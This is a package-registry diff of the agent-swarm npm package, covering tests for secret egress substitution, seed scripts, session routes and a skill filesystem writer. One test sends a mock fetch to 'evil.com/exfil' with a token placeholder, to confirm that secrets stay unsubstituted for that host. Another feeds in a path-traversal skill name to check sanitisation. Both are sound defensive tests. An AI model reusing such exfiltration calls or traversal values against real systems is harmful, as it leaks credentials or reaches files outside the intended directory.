@desplega.ai/agent-swarm 1.92.2 → 1.94.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/openapi.json +242 -3
- package/package.json +5 -5
- package/src/be/db.ts +152 -11
- package/src/be/memory/boot-reembed.ts +0 -1
- package/src/be/memory/providers/sqlite-store.ts +42 -25
- package/src/be/memory/raters/llm-client.ts +12 -5
- package/src/be/memory/types.ts +3 -0
- package/src/be/migrations/088_script_runs_list_indexes.sql +10 -0
- package/src/be/migrations/089_harness_variant.sql +2 -0
- package/src/be/migrations/090_model_tiers.sql +2 -0
- package/src/be/migrations/091_seed_swarm_operations_metrics.sql +12 -0
- package/src/be/migrations/092_metrics_dashboard_combobox_filters.sql +68 -0
- package/src/be/migrations/093_slack_message_tracking.sql +6 -0
- package/src/be/migrations/runner.ts +52 -0
- package/src/be/modelsdev-cache.json +3264 -1166
- package/src/be/scripts/boot-reembed.ts +74 -0
- package/src/be/scripts/db.ts +19 -3
- package/src/be/seed/index.ts +1 -1
- package/src/be/seed/registry.ts +2 -2
- package/src/be/seed/runner.ts +5 -5
- package/src/be/seed/types.ts +6 -1
- package/src/be/seed-pricing.ts +2 -0
- package/src/be/seed-scripts/catalog/boot-triage.inline.ts +221 -0
- package/src/be/seed-scripts/catalog/catalog-report.inline.ts +457 -0
- package/src/be/seed-scripts/catalog/compound-insights.inline.ts +863 -0
- package/src/be/seed-scripts/catalog/ops-catalog-audit.inline.ts +506 -0
- package/src/be/seed-scripts/index.ts +8 -7
- package/src/be/skill-sync.ts +28 -179
- package/src/commands/runner.ts +197 -10
- package/src/http/api-keys.ts +42 -0
- package/src/http/index.ts +13 -2
- package/src/http/mcp-bridge.ts +1 -1
- package/src/http/memory.ts +23 -24
- package/src/http/metrics.ts +55 -6
- package/src/http/schedules.ts +16 -15
- package/src/http/script-runs.ts +7 -1
- package/src/http/scripts.ts +147 -1
- package/src/http/tasks.ts +17 -6
- package/src/model-tiers.ts +140 -0
- package/src/providers/claude-adapter.ts +33 -1
- package/src/providers/claude-managed-adapter.ts +3 -0
- package/src/providers/claude-managed-models.ts +16 -0
- package/src/providers/codex-adapter.ts +8 -1
- package/src/providers/codex-models.ts +1 -0
- package/src/providers/codex-oauth/auth-json.ts +1 -0
- package/src/providers/harness-version.ts +7 -0
- package/src/providers/opencode-adapter.ts +12 -4
- package/src/providers/pi-mono-adapter.ts +90 -8
- package/src/providers/types.ts +2 -0
- package/src/scheduler/scheduler.ts +22 -34
- package/src/scripts-runtime/egress-secrets.ts +83 -0
- package/src/scripts-runtime/eval-harness.ts +4 -0
- package/src/scripts-runtime/executors/types.ts +7 -0
- package/src/scripts-runtime/loader.ts +2 -0
- package/src/server-user.ts +8 -2
- package/src/slack/channel-join.ts +41 -0
- package/src/slack/responses.ts +39 -11
- package/src/slack/watcher.ts +121 -8
- package/src/tests/additive-buffer.test.ts +0 -1
- package/src/tests/agents-list-model-display.test.ts +13 -0
- package/src/tests/api-key-tracking.test.ts +113 -0
- package/src/tests/approval-requests.test.ts +0 -6
- package/src/tests/aws-error-classifier.test.ts +148 -0
- package/src/tests/claude-managed-adapter.test.ts +12 -0
- package/src/tests/claude-managed-setup.test.ts +0 -4
- package/src/tests/codex-pool.test.ts +2 -6
- package/src/tests/context-window.test.ts +7 -0
- package/src/tests/http-api-integration.test.ts +23 -6
- package/src/tests/memory-edges.test.ts +0 -2
- package/src/tests/memory-rate-endpoint.test.ts +0 -2
- package/src/tests/memory-rater-e2e.test.ts +0 -2
- package/src/tests/memory-store.test.ts +19 -1
- package/src/tests/memory.test.ts +51 -0
- package/src/tests/metrics-http.test.ts +137 -3
- package/src/tests/migration-046-budgets.test.ts +33 -0
- package/src/tests/migration-runner-regressions.test.ts +69 -0
- package/src/tests/model-control.test.ts +162 -46
- package/src/tests/opencode-adapter.test.ts +9 -0
- package/src/tests/pi-mono-adapter.test.ts +319 -0
- package/src/tests/providers/pi-cost.test.ts +9 -0
- package/src/tests/reload-config.test.ts +33 -17
- package/src/tests/runner-fallback-output.test.ts +50 -0
- package/src/tests/runner-skills-refresh.test.ts +216 -46
- package/src/tests/script-runs-http.test.ts +7 -1
- package/src/tests/scripts-boot-reembed.test.ts +163 -0
- package/src/tests/scripts-embeddings.test.ts +90 -0
- package/src/tests/scripts-runtime-secret-egress.test.ts +129 -0
- package/src/tests/seed-scripts.test.ts +13 -1
- package/src/tests/seed.test.ts +26 -1
- package/src/tests/session-attach.test.ts +6 -6
- package/src/tests/session-costs-model-key-normalize.test.ts +2 -0
- package/src/tests/skill-fs-writer.test.ts +250 -0
- package/src/tests/slack-attachments-block.test.ts +0 -1
- package/src/tests/slack-blocks.test.ts +0 -1
- package/src/tests/slack-channel-join.test.ts +80 -0
- package/src/tests/slack-identity-resolution.test.ts +0 -1
- package/src/tests/slack-watcher.test.ts +66 -0
- package/src/tests/structured-output.test.ts +0 -2
- package/src/tests/use-dismissible-card.test.ts +0 -4
- package/src/tests/workflow-agent-task.test.ts +5 -2
- package/src/tests/workflow-validation-port-routing.test.ts +181 -0
- package/src/tools/memory-get.ts +11 -0
- package/src/tools/memory-search.ts +18 -0
- package/src/tools/schedules/create-schedule.ts +71 -70
- package/src/tools/schedules/update-schedule.ts +43 -31
- package/src/tools/send-task.ts +16 -5
- package/src/tools/slack-post.ts +18 -15
- package/src/tools/slack-read.ts +9 -11
- package/src/tools/slack-reply.ts +18 -15
- package/src/tools/slack-start-thread.ts +17 -14
- package/src/tools/task-action.ts +11 -3
- package/src/types.ts +40 -0
- package/src/utils/aws-error-classifier.ts +97 -0
- package/src/utils/context-window.ts +5 -0
- package/src/utils/credentials.test.ts +68 -0
- package/src/utils/credentials.ts +66 -5
- package/src/utils/pretty-print.ts +25 -10
- package/src/utils/skill-fs-writer.ts +220 -0
- package/src/utils/skills-refresh.ts +123 -40
- package/src/workflows/engine.ts +3 -2
- package/src/workflows/executors/agent-task.ts +3 -1
|
@@ -1,4 +1,8 @@
|
|
|
1
1
|
import { afterEach, beforeEach, describe, expect, test } from "bun:test";
|
|
2
|
+
import {
|
|
3
|
+
buildEgressSecrets,
|
|
4
|
+
patchFetchWithEgressSubstitution,
|
|
5
|
+
} from "../scripts-runtime/egress-secrets";
|
|
2
6
|
import { runScript } from "../scripts-runtime/loader";
|
|
3
7
|
import { refreshSecretScrubberCache } from "../utils/secret-scrubber";
|
|
4
8
|
|
|
@@ -42,3 +46,128 @@ describe("runtime secret egress", () => {
|
|
|
42
46
|
expect(output.result).toEqual({ wrapped: "<redacted>" });
|
|
43
47
|
});
|
|
44
48
|
});
|
|
49
|
+
|
|
50
|
+
describe("egress-substitution", () => {
|
|
51
|
+
describe("buildEgressSecrets", () => {
|
|
52
|
+
test("includes GITHUB_TOKEN when set in env", () => {
|
|
53
|
+
process.env.GITHUB_TOKEN = "ghp_test1234567890abcdef";
|
|
54
|
+
const secrets = buildEgressSecrets();
|
|
55
|
+
expect(secrets).toEqual([
|
|
56
|
+
{
|
|
57
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
58
|
+
hosts: ["api.github.com"],
|
|
59
|
+
value: "ghp_test1234567890abcdef",
|
|
60
|
+
},
|
|
61
|
+
]);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
test("returns empty array when GITHUB_TOKEN not set", () => {
|
|
65
|
+
delete process.env.GITHUB_TOKEN;
|
|
66
|
+
const secrets = buildEgressSecrets();
|
|
67
|
+
expect(secrets).toEqual([]);
|
|
68
|
+
});
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
describe("patchFetchWithEgressSubstitution", () => {
|
|
72
|
+
let originalFetch: typeof globalThis.fetch;
|
|
73
|
+
|
|
74
|
+
beforeEach(() => {
|
|
75
|
+
originalFetch = globalThis.fetch;
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
afterEach(() => {
|
|
79
|
+
globalThis.fetch = originalFetch;
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
test("substitutes placeholder in Authorization header for allowlisted host", async () => {
|
|
83
|
+
let capturedHeaders: Headers | undefined;
|
|
84
|
+
globalThis.fetch = async (_input: any, init?: any) => {
|
|
85
|
+
capturedHeaders = new Headers(init?.headers);
|
|
86
|
+
return new Response(JSON.stringify({ ok: true }), { status: 200 });
|
|
87
|
+
};
|
|
88
|
+
|
|
89
|
+
patchFetchWithEgressSubstitution([
|
|
90
|
+
{
|
|
91
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
92
|
+
hosts: ["api.github.com"],
|
|
93
|
+
value: "ghp_real_secret_value_123",
|
|
94
|
+
},
|
|
95
|
+
]);
|
|
96
|
+
|
|
97
|
+
await globalThis.fetch("https://api.github.com/repos/test/test", {
|
|
98
|
+
headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
expect(capturedHeaders?.get("authorization")).toBe("Bearer ghp_real_secret_value_123");
|
|
102
|
+
});
|
|
103
|
+
|
|
104
|
+
test("does NOT substitute for non-allowlisted host", async () => {
|
|
105
|
+
let capturedHeaders: Headers | undefined;
|
|
106
|
+
globalThis.fetch = async (_input: any, init?: any) => {
|
|
107
|
+
capturedHeaders = new Headers(init?.headers);
|
|
108
|
+
return new Response(JSON.stringify({ ok: true }), { status: 200 });
|
|
109
|
+
};
|
|
110
|
+
|
|
111
|
+
patchFetchWithEgressSubstitution([
|
|
112
|
+
{
|
|
113
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
114
|
+
hosts: ["api.github.com"],
|
|
115
|
+
value: "ghp_real_secret_value_123",
|
|
116
|
+
},
|
|
117
|
+
]);
|
|
118
|
+
|
|
119
|
+
await globalThis.fetch("https://evil.com/exfil", {
|
|
120
|
+
headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
expect(capturedHeaders?.get("authorization")).toBe("Bearer [REDACTED:GITHUB_TOKEN]");
|
|
124
|
+
});
|
|
125
|
+
|
|
126
|
+
test("passes through requests with no redacted placeholders", async () => {
|
|
127
|
+
let callCount = 0;
|
|
128
|
+
globalThis.fetch = async (_input: any, _init?: any) => {
|
|
129
|
+
callCount++;
|
|
130
|
+
return new Response("ok", { status: 200 });
|
|
131
|
+
};
|
|
132
|
+
|
|
133
|
+
patchFetchWithEgressSubstitution([
|
|
134
|
+
{
|
|
135
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
136
|
+
hosts: ["api.github.com"],
|
|
137
|
+
value: "ghp_real_secret_value_123",
|
|
138
|
+
},
|
|
139
|
+
]);
|
|
140
|
+
|
|
141
|
+
await globalThis.fetch("https://api.github.com/repos/test/test", {
|
|
142
|
+
headers: { Accept: "application/json" },
|
|
143
|
+
});
|
|
144
|
+
|
|
145
|
+
expect(callCount).toBe(1);
|
|
146
|
+
});
|
|
147
|
+
|
|
148
|
+
test("does not substitute in request body", async () => {
|
|
149
|
+
let capturedBody: string | undefined;
|
|
150
|
+
globalThis.fetch = async (_input: any, init?: any) => {
|
|
151
|
+
capturedBody = init?.body;
|
|
152
|
+
return new Response("ok", { status: 200 });
|
|
153
|
+
};
|
|
154
|
+
|
|
155
|
+
patchFetchWithEgressSubstitution([
|
|
156
|
+
{
|
|
157
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
158
|
+
hosts: ["api.github.com"],
|
|
159
|
+
value: "ghp_real_secret_value_123",
|
|
160
|
+
},
|
|
161
|
+
]);
|
|
162
|
+
|
|
163
|
+
await globalThis.fetch("https://api.github.com/gists", {
|
|
164
|
+
method: "POST",
|
|
165
|
+
headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
|
|
166
|
+
body: JSON.stringify({ content: "[REDACTED:GITHUB_TOKEN]" }),
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
expect(capturedBody).toContain("[REDACTED:GITHUB_TOKEN]");
|
|
170
|
+
expect(capturedBody).not.toContain("ghp_real_secret_value_123");
|
|
171
|
+
});
|
|
172
|
+
});
|
|
173
|
+
});
|
|
@@ -53,7 +53,7 @@ afterAll(async () => {
|
|
|
53
53
|
});
|
|
54
54
|
|
|
55
55
|
describe("seed-scripts catalog", () => {
|
|
56
|
-
test("manifest holds
|
|
56
|
+
test("manifest holds 18 unique, well-described scripts", () => {
|
|
57
57
|
expect(SEED_SCRIPTS.length).toBe(18);
|
|
58
58
|
const names = SEED_SCRIPTS.map((s) => s.name);
|
|
59
59
|
expect(new Set(names).size).toBe(names.length);
|
|
@@ -66,6 +66,18 @@ describe("seed-scripts catalog", () => {
|
|
|
66
66
|
}
|
|
67
67
|
});
|
|
68
68
|
|
|
69
|
+
test("inline catalog files stay in sync with their runtime files", async () => {
|
|
70
|
+
const catalogDir = join(import.meta.dir, "../be/seed-scripts/catalog");
|
|
71
|
+
const inlineFiles = ["boot-triage", "catalog-report", "compound-insights", "ops-catalog-audit"];
|
|
72
|
+
|
|
73
|
+
for (const name of inlineFiles) {
|
|
74
|
+
const runtimeSource = await Bun.file(join(catalogDir, `${name}.ts`)).text();
|
|
75
|
+
const inlineSource = await Bun.file(join(catalogDir, `${name}.inline.ts`)).text();
|
|
76
|
+
|
|
77
|
+
expect(inlineSource, `${name}.inline.ts drifted from ${name}.ts`).toBe(runtimeSource);
|
|
78
|
+
}
|
|
79
|
+
});
|
|
80
|
+
|
|
69
81
|
test("every catalog script passes the import allowlist and the script typecheck", () => {
|
|
70
82
|
const failures: string[] = [];
|
|
71
83
|
for (const s of SEED_SCRIPTS) {
|
package/src/tests/seed.test.ts
CHANGED
|
@@ -1,7 +1,13 @@
|
|
|
1
1
|
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
|
2
2
|
import { unlink } from "node:fs/promises";
|
|
3
3
|
import { closeDb, initDb } from "../be/db";
|
|
4
|
-
import {
|
|
4
|
+
import {
|
|
5
|
+
getSeedState,
|
|
6
|
+
runSeeder,
|
|
7
|
+
type Seeder,
|
|
8
|
+
type SeederRunOptions,
|
|
9
|
+
type SeedItem,
|
|
10
|
+
} from "../be/seed";
|
|
5
11
|
|
|
6
12
|
const TEST_DB_PATH = "./test-seed.sqlite";
|
|
7
13
|
|
|
@@ -137,6 +143,25 @@ describe("seeder harness — versioning rule", () => {
|
|
|
137
143
|
expect(upstream.get("y")).toBe("h-pre-existing");
|
|
138
144
|
});
|
|
139
145
|
|
|
146
|
+
test("runner passes opts through to apply()", async () => {
|
|
147
|
+
const capturedOpts: (SeederRunOptions | undefined)[] = [];
|
|
148
|
+
const source = new Map([["a", "h-a1"]]);
|
|
149
|
+
const upstream = new Map<string, string>();
|
|
150
|
+
const seeder: Seeder<SeedItem> = {
|
|
151
|
+
kind: "opts-passthrough-test",
|
|
152
|
+
items: () => [...source.entries()].map(([key, contentHash]) => ({ key, contentHash })),
|
|
153
|
+
upstreamHash: (item) => upstream.get(item.key) ?? null,
|
|
154
|
+
apply: (item, _action, opts) => {
|
|
155
|
+
capturedOpts.push(opts);
|
|
156
|
+
upstream.set(item.key, item.contentHash);
|
|
157
|
+
},
|
|
158
|
+
};
|
|
159
|
+
|
|
160
|
+
await runSeeder(seeder, { quiet: true, scriptEmbeddingMode: "skip" });
|
|
161
|
+
expect(capturedOpts).toHaveLength(1);
|
|
162
|
+
expect(capturedOpts[0]?.scriptEmbeddingMode).toBe("skip");
|
|
163
|
+
});
|
|
164
|
+
|
|
140
165
|
test("a throwing apply is captured per-item without aborting the run", async () => {
|
|
141
166
|
const source = new Map([
|
|
142
167
|
["ok", "h-ok"],
|
|
@@ -29,13 +29,13 @@ async function handleRequest(req: {
|
|
|
29
29
|
}): Promise<{ status: number; body: unknown }> {
|
|
30
30
|
const pathSegments = getPathSegments(req.url || "");
|
|
31
31
|
|
|
32
|
-
// PUT /api/tasks/:id/
|
|
32
|
+
// PUT /api/tasks/:id/session - Update Claude session ID
|
|
33
33
|
if (
|
|
34
34
|
req.method === "PUT" &&
|
|
35
35
|
pathSegments[0] === "api" &&
|
|
36
36
|
pathSegments[1] === "tasks" &&
|
|
37
37
|
pathSegments[2] &&
|
|
38
|
-
pathSegments[3] === "
|
|
38
|
+
pathSegments[3] === "session"
|
|
39
39
|
) {
|
|
40
40
|
const taskId = pathSegments[2];
|
|
41
41
|
const reqBody = req.body ? JSON.parse(req.body) : {};
|
|
@@ -233,7 +233,7 @@ describe("Session Attachment", () => {
|
|
|
233
233
|
});
|
|
234
234
|
});
|
|
235
235
|
|
|
236
|
-
describe("API Layer — PUT /api/tasks/:id/
|
|
236
|
+
describe("API Layer — PUT /api/tasks/:id/session", () => {
|
|
237
237
|
test("should update claudeSessionId and return 200", async () => {
|
|
238
238
|
const task = createTaskExtended("Task for API session update", {
|
|
239
239
|
creatorAgentId: "lead-session-test",
|
|
@@ -241,7 +241,7 @@ describe("Session Attachment", () => {
|
|
|
241
241
|
});
|
|
242
242
|
|
|
243
243
|
const sessionId = "api-session-id-67890";
|
|
244
|
-
const response = await fetch(`${baseUrl}/api/tasks/${task.id}/
|
|
244
|
+
const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
|
|
245
245
|
method: "PUT",
|
|
246
246
|
headers: { "Content-Type": "application/json" },
|
|
247
247
|
body: JSON.stringify({ claudeSessionId: sessionId }),
|
|
@@ -253,7 +253,7 @@ describe("Session Attachment", () => {
|
|
|
253
253
|
});
|
|
254
254
|
|
|
255
255
|
test("should return 404 for invalid task", async () => {
|
|
256
|
-
const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/
|
|
256
|
+
const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/session`, {
|
|
257
257
|
method: "PUT",
|
|
258
258
|
headers: { "Content-Type": "application/json" },
|
|
259
259
|
body: JSON.stringify({ claudeSessionId: "some-session" }),
|
|
@@ -267,7 +267,7 @@ describe("Session Attachment", () => {
|
|
|
267
267
|
creatorAgentId: "lead-session-test",
|
|
268
268
|
});
|
|
269
269
|
|
|
270
|
-
const response = await fetch(`${baseUrl}/api/tasks/${task.id}/
|
|
270
|
+
const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
|
|
271
271
|
method: "PUT",
|
|
272
272
|
headers: { "Content-Type": "application/json" },
|
|
273
273
|
body: JSON.stringify({}),
|
|
@@ -134,6 +134,8 @@ describe("normalizeModelKey()", () => {
|
|
|
134
134
|
|
|
135
135
|
test("is a no-op for canonical claude ids", () => {
|
|
136
136
|
expect(normalizeModelKey("claude", "claude-opus-4-7")).toBe("claude-opus-4-7");
|
|
137
|
+
expect(normalizeModelKey("claude", "claude-fable-5")).toBe("claude-fable-5");
|
|
138
|
+
expect(normalizeModelKey("claude", "claude-mythos-5")).toBe("claude-mythos-5");
|
|
137
139
|
});
|
|
138
140
|
|
|
139
141
|
test("is idempotent", () => {
|
|
@@ -0,0 +1,250 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Unit tests for the pure, DB-free writeSkillsToFilesystem() helper.
|
|
3
|
+
*
|
|
4
|
+
* These tests drive the writer directly with crafted SkillFsEntry arrays,
|
|
5
|
+
* exercising: simple write, complex skill with bundled files, binary-file
|
|
6
|
+
* skip, rename → stale dir removed, marker-gated cleanup leaves unmanaged
|
|
7
|
+
* dirs intact, path-traversal name sanitization.
|
|
8
|
+
*/
|
|
9
|
+
import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test";
|
|
10
|
+
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
|
|
11
|
+
import { tmpdir } from "node:os";
|
|
12
|
+
import { join } from "node:path";
|
|
13
|
+
import {
|
|
14
|
+
type SkillFsEntry,
|
|
15
|
+
SWARM_MARKER_FILE,
|
|
16
|
+
writeSkillsToFilesystem,
|
|
17
|
+
} from "../utils/skill-fs-writer";
|
|
18
|
+
|
|
19
|
+
const FAKE_HOME = join(tmpdir(), `skill-fs-writer-test-${process.pid}`);
|
|
20
|
+
|
|
21
|
+
function skillEntry(
|
|
22
|
+
overrides: Partial<SkillFsEntry> & { name: string; content: string },
|
|
23
|
+
): SkillFsEntry {
|
|
24
|
+
return {
|
|
25
|
+
id: `id-${overrides.name}`,
|
|
26
|
+
isComplex: false,
|
|
27
|
+
isEnabled: true,
|
|
28
|
+
isActive: true,
|
|
29
|
+
files: [],
|
|
30
|
+
...overrides,
|
|
31
|
+
};
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
describe("writeSkillsToFilesystem", () => {
|
|
35
|
+
beforeAll(() => {
|
|
36
|
+
mkdirSync(FAKE_HOME, { recursive: true });
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
afterEach(() => {
|
|
40
|
+
// Clean up between tests
|
|
41
|
+
rmSync(join(FAKE_HOME, ".claude"), { recursive: true, force: true });
|
|
42
|
+
rmSync(join(FAKE_HOME, ".pi"), { recursive: true, force: true });
|
|
43
|
+
rmSync(join(FAKE_HOME, ".codex"), { recursive: true, force: true });
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
afterAll(() => {
|
|
47
|
+
rmSync(FAKE_HOME, { recursive: true, force: true });
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
test("writes simple skill SKILL.md to claude dir", () => {
|
|
51
|
+
const entries = [skillEntry({ name: "my-skill", content: "# My Skill\n\nDoes stuff." })];
|
|
52
|
+
const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
|
|
53
|
+
|
|
54
|
+
expect(result.errors).toHaveLength(0);
|
|
55
|
+
expect(result.synced).toBe(1);
|
|
56
|
+
|
|
57
|
+
const skillFile = join(FAKE_HOME, ".claude", "skills", "my-skill", "SKILL.md");
|
|
58
|
+
expect(existsSync(skillFile)).toBe(true);
|
|
59
|
+
expect(readFileSync(skillFile, "utf-8")).toContain("Does stuff.");
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
test("writes swarm-managed marker alongside SKILL.md", () => {
|
|
63
|
+
const entries = [skillEntry({ name: "my-skill", content: "# My Skill" })];
|
|
64
|
+
writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
|
|
65
|
+
|
|
66
|
+
const marker = join(FAKE_HOME, ".claude", "skills", "my-skill", SWARM_MARKER_FILE);
|
|
67
|
+
expect(existsSync(marker)).toBe(true);
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
test("writes to all harness dirs when harnessType is 'all'", () => {
|
|
71
|
+
const entries = [skillEntry({ name: "multi-skill", content: "# Multi" })];
|
|
72
|
+
const result = writeSkillsToFilesystem(entries, "all", FAKE_HOME);
|
|
73
|
+
|
|
74
|
+
expect(result.synced).toBe(3); // claude + pi + codex
|
|
75
|
+
expect(existsSync(join(FAKE_HOME, ".claude", "skills", "multi-skill", "SKILL.md"))).toBe(true);
|
|
76
|
+
expect(existsSync(join(FAKE_HOME, ".pi", "agent", "skills", "multi-skill", "SKILL.md"))).toBe(
|
|
77
|
+
true,
|
|
78
|
+
);
|
|
79
|
+
expect(existsSync(join(FAKE_HOME, ".codex", "skills", "multi-skill", "SKILL.md"))).toBe(true);
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
test("writes complex skill SKILL.md plus non-binary bundled files", () => {
|
|
83
|
+
const entries = [
|
|
84
|
+
skillEntry({
|
|
85
|
+
name: "complex-skill",
|
|
86
|
+
content: "# Complex Skill",
|
|
87
|
+
isComplex: true,
|
|
88
|
+
files: [
|
|
89
|
+
{
|
|
90
|
+
path: "references/guide.md",
|
|
91
|
+
content: "# Guide\n\nBundled reference.",
|
|
92
|
+
isBinary: false,
|
|
93
|
+
},
|
|
94
|
+
],
|
|
95
|
+
}),
|
|
96
|
+
];
|
|
97
|
+
const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
|
|
98
|
+
|
|
99
|
+
expect(result.errors).toHaveLength(0);
|
|
100
|
+
expect(result.synced).toBe(1);
|
|
101
|
+
|
|
102
|
+
const skillFile = join(FAKE_HOME, ".claude", "skills", "complex-skill", "SKILL.md");
|
|
103
|
+
const bundledFile = join(
|
|
104
|
+
FAKE_HOME,
|
|
105
|
+
".claude",
|
|
106
|
+
"skills",
|
|
107
|
+
"complex-skill",
|
|
108
|
+
"references",
|
|
109
|
+
"guide.md",
|
|
110
|
+
);
|
|
111
|
+
expect(existsSync(skillFile)).toBe(true);
|
|
112
|
+
expect(existsSync(bundledFile)).toBe(true);
|
|
113
|
+
expect(readFileSync(bundledFile, "utf-8")).toContain("Bundled reference.");
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
test("skips binary bundled files", () => {
|
|
117
|
+
const entries = [
|
|
118
|
+
skillEntry({
|
|
119
|
+
name: "complex-skill",
|
|
120
|
+
content: "# Complex Skill",
|
|
121
|
+
isComplex: true,
|
|
122
|
+
files: [
|
|
123
|
+
{ path: "references/guide.md", content: "# Guide", isBinary: false },
|
|
124
|
+
{ path: "assets/logo.png", content: "[binary]", isBinary: true },
|
|
125
|
+
],
|
|
126
|
+
}),
|
|
127
|
+
];
|
|
128
|
+
writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
|
|
129
|
+
|
|
130
|
+
const binaryFile = join(FAKE_HOME, ".claude", "skills", "complex-skill", "assets", "logo.png");
|
|
131
|
+
const textFile = join(
|
|
132
|
+
FAKE_HOME,
|
|
133
|
+
".claude",
|
|
134
|
+
"skills",
|
|
135
|
+
"complex-skill",
|
|
136
|
+
"references",
|
|
137
|
+
"guide.md",
|
|
138
|
+
);
|
|
139
|
+
expect(existsSync(binaryFile)).toBe(false);
|
|
140
|
+
expect(existsSync(textFile)).toBe(true);
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
test("skips legacy complex skills with no files", () => {
|
|
144
|
+
const entries = [
|
|
145
|
+
skillEntry({
|
|
146
|
+
name: "legacy-complex",
|
|
147
|
+
content: "# Legacy",
|
|
148
|
+
isComplex: true,
|
|
149
|
+
files: [], // no files → skip
|
|
150
|
+
}),
|
|
151
|
+
];
|
|
152
|
+
writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
|
|
153
|
+
|
|
154
|
+
const skillDir = join(FAKE_HOME, ".claude", "skills", "legacy-complex");
|
|
155
|
+
expect(existsSync(skillDir)).toBe(false);
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
test("skips inactive skills", () => {
|
|
159
|
+
const entries = [
|
|
160
|
+
skillEntry({ name: "inactive-skill", content: "# Inactive", isActive: false }),
|
|
161
|
+
];
|
|
162
|
+
const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
|
|
163
|
+
|
|
164
|
+
expect(result.synced).toBe(0);
|
|
165
|
+
expect(existsSync(join(FAKE_HOME, ".claude", "skills", "inactive-skill"))).toBe(false);
|
|
166
|
+
});
|
|
167
|
+
|
|
168
|
+
test("skips disabled skills", () => {
|
|
169
|
+
const entries = [
|
|
170
|
+
skillEntry({ name: "disabled-skill", content: "# Disabled", isEnabled: false }),
|
|
171
|
+
];
|
|
172
|
+
const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
|
|
173
|
+
|
|
174
|
+
expect(result.synced).toBe(0);
|
|
175
|
+
expect(existsSync(join(FAKE_HOME, ".claude", "skills", "disabled-skill"))).toBe(false);
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
test("removes stale swarm-managed skill directory on rename", () => {
|
|
179
|
+
// First sync: write old-name
|
|
180
|
+
const first = [skillEntry({ name: "old-name", content: "# Old" })];
|
|
181
|
+
writeSkillsToFilesystem(first, "claude", FAKE_HOME);
|
|
182
|
+
|
|
183
|
+
const oldDir = join(FAKE_HOME, ".claude", "skills", "old-name");
|
|
184
|
+
expect(existsSync(oldDir)).toBe(true);
|
|
185
|
+
|
|
186
|
+
// Second sync: write new-name, old-name disappears
|
|
187
|
+
const second = [skillEntry({ name: "new-name", content: "# New" })];
|
|
188
|
+
const result = writeSkillsToFilesystem(second, "claude", FAKE_HOME);
|
|
189
|
+
|
|
190
|
+
expect(result.removed).toBeGreaterThanOrEqual(1);
|
|
191
|
+
expect(existsSync(oldDir)).toBe(false);
|
|
192
|
+
expect(existsSync(join(FAKE_HOME, ".claude", "skills", "new-name", "SKILL.md"))).toBe(true);
|
|
193
|
+
});
|
|
194
|
+
|
|
195
|
+
test("marker-gated cleanup leaves unmanaged dirs intact", () => {
|
|
196
|
+
// User-installed skill dir with no .swarm-managed marker
|
|
197
|
+
const foreignDir = join(FAKE_HOME, ".claude", "skills", "user-personal-skill");
|
|
198
|
+
mkdirSync(foreignDir, { recursive: true });
|
|
199
|
+
writeFileSync(join(foreignDir, "SKILL.md"), "user's own skill — keep me");
|
|
200
|
+
|
|
201
|
+
// Sync with a different skill set — should NOT touch the unmanaged dir
|
|
202
|
+
const entries = [skillEntry({ name: "swarm-skill", content: "# Swarm" })];
|
|
203
|
+
writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
|
|
204
|
+
|
|
205
|
+
expect(existsSync(foreignDir)).toBe(true);
|
|
206
|
+
expect(readFileSync(join(foreignDir, "SKILL.md"), "utf-8")).toBe("user's own skill — keep me");
|
|
207
|
+
});
|
|
208
|
+
|
|
209
|
+
test("sanitizes path-traversal characters in skill names", () => {
|
|
210
|
+
const entries = [skillEntry({ name: "my/dangerous/../skill", content: "# Safe" })];
|
|
211
|
+
const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
|
|
212
|
+
|
|
213
|
+
expect(result.errors).toHaveLength(0);
|
|
214
|
+
const sanitizedDir = join(FAKE_HOME, ".claude", "skills", "my_dangerous____skill");
|
|
215
|
+
expect(existsSync(sanitizedDir)).toBe(true);
|
|
216
|
+
});
|
|
217
